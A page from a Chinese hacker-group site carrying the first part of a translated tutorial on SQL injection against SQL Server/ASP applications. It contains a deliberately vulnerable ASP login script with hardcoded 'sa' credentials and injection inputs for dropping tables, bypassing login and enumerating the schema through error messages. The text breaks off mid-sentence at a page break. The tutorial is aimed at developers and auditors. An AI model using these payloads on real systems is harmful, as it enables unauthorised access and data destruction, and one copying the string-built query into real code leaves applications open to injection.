| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> 黑客教学 >> 文章正文 用户登录 新用户注册
  Advanced SQL Injection In SQL Server Applications        【字体:
Advanced SQL Injection In SQL Server Applications
作者:Chris An…    文章来源:网络    点击数:    更新时间:2007-5-11    

文章作者:Chris Anley(chris@ngssoftware.com)
译文作者:黯魂(ky13)(www.m0ther.cn)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:本文始发黯魂博客,后经作者友情提交到邪恶八进制信息安全团队,如需转载请注明来源。另外,由于译者能力水平有限,译文中难免出现不准确,还请指正。译文已经以附件形式上传到本帖。

目录
[摘要].....................................................................3
[介绍].....................................................................3
[利用错误消息获得信息].....................................................7
[平衡深层访问].............................................................12
  [xp_cmdshell]............................................................12
  [xp_regread].............................................................13
  [其他扩展存储过程].......................................................13
  [连接的服务器]...........................................................14
  [自定义扩展存储过程].....................................................14
  [导入文本文件到表中].....................................................15
  [使用BCP创建文本文件]....................................................15
  [基于SQL-server的ActiveX自动控制脚本]....................................15
[存储过程].................................................................17
[高级SQL注入]..............................................................18
  [不带引号的字符串].......................................................18
  [二次SQL注入]............................................................18
  [长度限制]...............................................................20
  [绕过检查]...............................................................21
[防御].....................................................................21
  [输入确认]...............................................................21
  [SQL服务器保障].........................................................23
[参考].....................................................................24
附录A--'SQLCrack'..........................................................25
  (sqlcrack.sql)...........................................................25


[摘要]

这篇文档主要讨论普通SQL注入技术的细节,比如应用在流行的微软IIS/ASP/SQL-server平台。它研究的是各种不同的能够使SQL注入到应用程序,数据确认地址以及数据库锁定发布等与这类攻击有关的方法。

此文主要适合以下职业人群阅读:1.与数据库打交道的网络应用程序开发者 2.具有网络应用程序审核职责的安全专家。


[介绍]

结构化查询语言(SQL)是一种用来与相关数据库组合使用的文本化语言.有许多种类的SQL;大多数目前普遍使用的都不严格遵循于SQL-92,以及最近的ANSI标准.典型的SQL执行单元是'查询(Query)',即代表性地返回一个单独的'结果设置(result set)'的声明集合.SQL语句可以修改数据库的结构(使用数据定义语言声明,即"DDL"),操作数据库的内容(使用数据操作语言声明,即"DML").在本文中,我们将明确地讨论Transact-SQL,被微软SQL-server所使用的SQL语言.

SQL注入通常发生在当一个攻击者能够插入一连串的SQL语句到一个被输入到应用程序中的查询语句中时.

一个典型的SQL语句看上去应该是这样的:
select id, forename, surname from authors

这个语句将从arthors表中查到id,forename,surname这些所有行的内容.'result set'对"authors"能够进行像这样的明确限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'

这儿需要注意的一个关键点是,字面上的'john'和'smith'被单引号所隔开.但恰好'forename'和'surname'这2行又被用户提供的输入所汇聚到一起.攻击者可以通过输入自己构造的值来注入到SQL查询语句中:
Forename: jo'hn
Surname: smith

查询字符串就变成了这样:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

当数据库尝试运行查询语句时,很可能返回一个错误:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.

出错的原因是插入的单引号字符中断了单引号隔开的数据.然后数据库会试着执行'hn'并且失败.如果攻击者刻意输入这样的语句:
Forename: jo'; drop table authors--
Surname:

authors表将被删除,至于为什么我们等会告诉大家。

看上去好像只要从输入中过滤掉单引号,或者通过一些方法避开它就能处理这个问题了。思路是正确的,然而用这个方法解决的
时候有几处难点,第一,并非所有的用户输入都是这种形式的字符串。假设用户的输入能够通过id选择一个author(随便猜测一个id号),例如,查询可能是这样的:
select id, forename, surname from authors where id=1234

在这种情况下,攻击者能在数字输入的末尾添加SQL语句.在其他SQL方法中,会使用不同的分隔符;比方说在Microsoft Jet DBMS engine中,日期会被'#'隔开.第二,刚开始简单地解决它时就避开单引号好像没有必要.接下来我们会说明缘由.

我们用一个ASP登录页面的例子来在更深层次的细节上说明这些难点,这个ASP页面会访问一个SQL-server数据库,并审核虚构应用程序的访问.

下面是处理用户键入的用户名及密码的form页面的代码:

Copy code
<HTML>
<HEAD>
<TITLE>登录页面</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>用户名:</TD><TD><INPUT type=text name=username size=100%
width=100></INPUT></TD></TR>
<TR><TD>密码:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>

这是处理登录的页面process_login.asp的代码:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>



关键点是,页面process_login.asp创建查询字符串的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";如果用户构造如下的语句:
Username: '; drop table users--
Password:

users表将被删除,从而阻止所有用户访问.'--'在Transact-SQL里表示单行注释,';'标志着一个查询语句的结束与另一句的开始.用户名这一行末尾的'--'对于为了防止异常终止情况发生而构造的特殊语句而言是必需的.

这下攻击者便可以使用任何一个他们知道的用户名登录了,他们通常会使用如下的输入:
Username: admin'--

这个攻击者能够用如下的输入,以users表里第一个用户的身份登录进去:
Username: ' or 1=1--

然后...奇怪的是,攻击者可以用一个完全虚构的用户登录进去:
Username: ' union select 1, 'fictional_user', 'some_password', 1--

他能够正常登录的原因是,应用程序认为攻击者指定的constant行是从数据库中重新找回的记录的一部分.



[利用错误消息获得信息]

这个方法是David Litchfield在一次渗透测试的过程中首次发现的;之后他便写了一篇关于描述该方法的文档,后来的作者都参考了它。文档论述了潜在错误消息的机制,使读者能够完全理解,并且潜在地引起了他们的变化。

为了操作数据库中的数据,攻击者往往需要确定数据库以及表的结构。比如说,users表可以用以下的命令创建:
create table users( id int,
                    username varchar(255),
                    password varchar(255),
                    privs int
                  )
并且已有如下的用户插入:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

让我们看看攻击者想为他自己插入一个用户。如若不清楚users表的结构,他不大可能会成功。即使他很幸运,但仍然不清楚'privs'字段的意义,他可能插入一个'l',得到一个低权限的用户。

对攻击者而言,幸运的是,如果应用程序返回了错误消息(ASP的默认属性),那么他便可以弄明白数据库的整个结构,从而能够获得任何能够被ASP应用程序连接数据库的帐户所能读取的信息。

(下面的例子使用了提供的样本数据库和ASP脚本来说明该技巧是如何利用的)

首先,攻击者试图通过查询语句确定表名和列名,为此,他使用select声明的子句having:
Username: ' having 1=1--

这将导致如下的错误:

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35



现在攻击者知道了表名和第一列的名字,他还能够通过group by子句继续查询剩下的列名:
Username: ' group by users.id having 1=1--

(同样导致了错误...)

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35



最后攻击者到达了username后面:
' group by users.id, users.username, users.password, users.privs having 1=1--

...没有再出现错误,功能上等价于:
select * from users where username = ''

所以现在攻击者知道了只有users表,以及按照如下次序排列的列'id, username, password, privs'.

这对他确定每列值的类型很有用,不过还能使用"类型转换"错误消息来达到同样的目的:
Username: ' union select sum(username) from users--

上面的语句会让SQL-server服务器在确认username类型是否等于sum之前尝试应用sum子句.服务器返回如下结果:

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35



告诉了我们username的类型是varchar.另一方面,如果我们尝试计算数字类型的sum值,错误消息将告诉我们这2行的数字域不匹配:
Username: ' union select sum(id) from users--

Quote:
Mic

[1] [2] [3] 下一页

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    十大入侵检测系统高风险事件
    认识黑客入侵的利器 了解嗅探
    另类巧妙的思路:旁门左道的入
    会话劫持攻击实战详解
    利用最近热门的Xss漏洞能做什
    数据库安全应用 使用MySQL的
    防火墙技术详细说明及技术发
    轻松9步加强路由器安全防护能
    黑客技术分析 会话劫持攻击实
    系统泄露密码的入侵攻击分析
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.